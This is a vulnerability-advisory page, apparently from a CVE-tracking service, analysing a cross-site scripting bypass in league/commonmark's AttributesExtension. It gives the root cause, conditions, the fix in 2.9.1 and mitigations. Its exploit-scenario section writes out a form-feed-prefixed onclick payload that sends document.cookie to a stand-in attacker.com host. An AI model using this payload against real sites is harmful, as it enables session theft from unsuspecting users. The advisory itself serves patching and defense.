Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify Markdown input field on AttributesExtension-enabled app
-
DeliveryCraft attribute payload with \x0C-prefixed on* handler
-
ExploitSubmit Markdown to application
-
InstallfilterAttributes() bypass stores malicious attribute verbatim
-
C2Victim loads rendered HTML page
-
ExecuteBrowser strips \x0C and fires event handler
-
ImpactAttacker receives exfiltrated session data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires two non-default application-level conditions: (1) The AttributesExtension (League\CommonMark\Extension\Attributes\AttributesExtension) must be explicitly registered with the CommonMark Environment - it is an optional extension and is not loaded by default, so default CommonMark installations are not affected. (2) The application must pass untrusted, user-supplied Markdown strings to the converter without pre-sanitizing or stripping attribute syntax. Where both conditions hold, exploitation is limited only by the attacker needing a Markdown input channel (e.g., comment box, wiki editor, API endpoint accepting Markdown) and a second user (the victim) viewing the rendered HTML in a browser. The javascript: URI bypass additionally requires that allow_unsafe_links is false (the secure default) - if allow_unsafe_links is true, javascript: URIs were already permitted, making the bypass moot for that vector. |
| Impact | The CVSS 4.0 vector provided (AV:N/AC:L/AT:N/PR:N/UI:N - score 6.9) rates this moderate in severity, though the UI:N metric appears to understate the requirement that a victim must visit or render the output page for the injected script to execute. Real-world risk is conditional on two factors: first, the AttributesExtension is optional and not enabled in the default CommonMark configuration, narrowing the exposure to applications that explicitly enable it; second, the application must pass untrusted user-supplied Markdown to the converter. Applications using CommonMark only for trusted content (static documentation, developer-controlled input) are not affected. Where both conditions hold - a CMS, wiki, or collaborative tool built on this library with the extension enabled - the risk is meaningful: an attacker with Markdown-input access can achieve stored or reflected XSS leading to session theft, credential harvesting, or UI redress. No KEV listing is present; exploitation probability is not independently assessed from EPSS data in this input set. The absence of KEV and a moderate CVSS 4.0 score suggest this is currently a targeted rather than mass-exploited issue, but the detailed GHSA advisory provides sufficient technical depth to construct a working proof of concept. |
| Exploit ScenarioDerived | An attacker submits a Markdown comment on a platform (wiki, CMS, forum) that uses league/commonmark with the AttributesExtension enabled, embedding a payload such as [click me]( ){\x0Conclick='document.location=\'https://attacker.com/?c=\'+document.cookie'}. The application converts the Markdown to HTML and stores the output; when any other user views the page, their browser strips the leading U+000C byte and fires the onclick handler, exfiltrating the victim's session cookie to the attacker's server. The GHSA advisory provides equivalent proof-of-concept syntax, making reliable reproduction straightforward for any PHP developer familiar with the library. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 07, 2026
Cross-site scripting in league/commonmark 2.7.0-2.9.0 allows unauthenticated attackers to inject arbitrary JavaScript into rendered HTML output by prefixing an attribute name with a U+000C form feed byte, bypassing the AttributesExtension's event-handler filter and the allow_unsafe_links safeguard. The bypass exploits a mismatch between what PHP's built-in trim() considers whitespace (excluding U+000C) and what PCRE \s matches (including U+000C), leaving the byte embedded in the attribute name where PHP's string comparison logic fails to recognize it but browsers' HTML parsers strip it and treat the remainder as a genuine event handler. Exploitation requires the AttributesExtension to be enabled and untrusted Markdown to be fed to the converter; no public exploit has been identified at time of analysis, though the GHSA advisory provides a precise technical breakdown sufficient to reproduce the issue.
RemediationAI
Upgrade to league/commonmark 2.9.1, which is the vendor-confirmed fixed release per the GHSA advisory and CHANGELOG. The 2.9.1 release revises filterAttributes() to apply strtolower() normalization before string comparison and introduces a new attributes/allow configuration key that restricts which attributes users may set, defaulting to a safe permissive-but-filtered posture. Install via Composer: composer require league/commonmark:^2.9.1. If immediate upgrade is not feasible, disable the AttributesExtension entirely to eliminate the attack surface; this removes the ability for Markdown authors to attach arbitrary HTML attributes but is otherwise safe. As a secondary compensating control, pass all rendered HTML output through a dedicated HTML sanitizer (e.g., HtmlSanitizer or HTMLPurifier) configured to strip on* attributes and javascript: URIs before delivering content to browsers; this adds defense-in-depth but does not substitute for the patch. Reference: https://github.com/thephpleague/commonmark/security/advisories/GHSA-f8fg-pg57-v4j8 and patch commit https://github.com/thephpleague/commonmark/commit/dfcdf4554c16aa37c15e3a5ee3243ee26147c239.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected library is league/commonmark (Packagist: composer/league/commonmark), a PHP implementation of the CommonMark Markdown specification, identified by CPE cpe:2.3:a:thephpleague:commonmark:*:*:*:*:*:*:*:*. The vulnerability resides in the optional AttributesExtension, specifically in AttributesHelper::filterAttributes() and the upstream parsing loop in AttributesHelper.php that calls PHP's trim() to clean matched attribute names. The root cause (CWE-79, Improper Neutralization of Input During Web Page Generation) stems from a character-set mismatch: PCRE's \s meta-character and the HTML5 tokenizer both treat U+000C FORM FEED as whitespace, but PHP's default trim() charlist only covers space, tab, newline, carriage return, null, and vertical tab (\x0B) - omitting form feed (\x0C). A crafted attribute like {\x0Conclick='alert(1)'} is consumed by the PCRE match and passed to trim(), which leaves \x0C intact; the attribute name stored in the $attributes map is '\x0Conclick'. The filter then does a str_starts_with comparison against 'on', which fails because the string starts with \x0C. Browsers, however, strip leading ASCII whitespace including U+000C during HTML tokenization and parse the remaining 'onclick' as a standard event handler. The same bypass path also defeats the allow_unsafe_links=false check for href and src attributes by the same prefix trick, enabling javascript: URI injection. The 2.7.0 release introduced filterAttributes() specifically to block on* handlers; this CVE documents that the 2.7.0 filter was incomplete.
Know when Commonmark gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
AC:H because AttributesExtension must be explicitly enabled; UI:R because victim must render the HTML; S:C for XSS cross-browser-context impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
league/commonmark (thephpleague/commonmark) versions >= 2.7.0 and < 2.9.1 contain a cross-site scripting vulnerability in the AttributesExtension. Prefixing an attribute name with a single U+000C form feed byte (e.g. {\x0Conclick="alert(1)"}) bypasses the AttributesHelper::filterAttributes() 'on*' event-handler filter because PHP's trim() does not strip U+000C, causing the attribute to be written verbatim into the output where browsers parse it as a genuine event handler. The same prefix also defeats the allow_unsafe_links check, allowing javascript: URIs through href/src attributes even when allow_unsafe_links is false. Exploitation requires processing untrusted Markdown with the AttributesExtension enabled; the injected script executes when the rendered HTML is viewed. Fixed in 2.9.1.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Commonmark
View allCross-site scripting (XSS) vulnerability in the PHP League CommonMark library before 0.18.3 allows remote attackers to i
Cross-site scripting (XSS) vulnerability in the PHP League CommonMark library versions 0.15.6 through 0.18.x before 0.18
Quadratic CPU exhaustion in league/commonmark 2.0.0-2.8.3 allows unauthenticated remote attackers to deny service by sub
Quadratic-time algorithmic complexity in league/commonmark's Attributes extension exposes PHP applications to remote den
Quadratic parsing complexity in league/commonmark (thephpleague/commonmark, versions ≥1.5.0 and <2.9.1) allows unauthent
Three independent super-linear parsing paths in league/commonmark before 2.9.1 allow unauthenticated remote attackers to
Quadratic-blowup denial of service in league/commonmark's Footnote extension allows remote unauthenticated attackers to
Quadratic CPU exhaustion in league/commonmark's optional AttributesExtension (versions 1.5.0 through 2.9.2) allows unaut
Quadratic-time denial of service in league/commonmark 2.0.0 through 2.10.1 lets unauthenticated remote attackers exhaust
Quadratic memory and output amplification in league/commonmark's XmlRenderer affects all 2.x releases from 2.0.0 through
The DisallowedRawHtml extension in PHP Commonmark (league/commonmark) versions prior to 2.8.1 can be bypassed by injecti
Stored cross-site scripting in league/commonmark from 1.3.0 through 2.10.1 lets any user who can post Markdown bypass th
EUVD-2026-72389
GHSA-m24x-mf52-x8gc
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB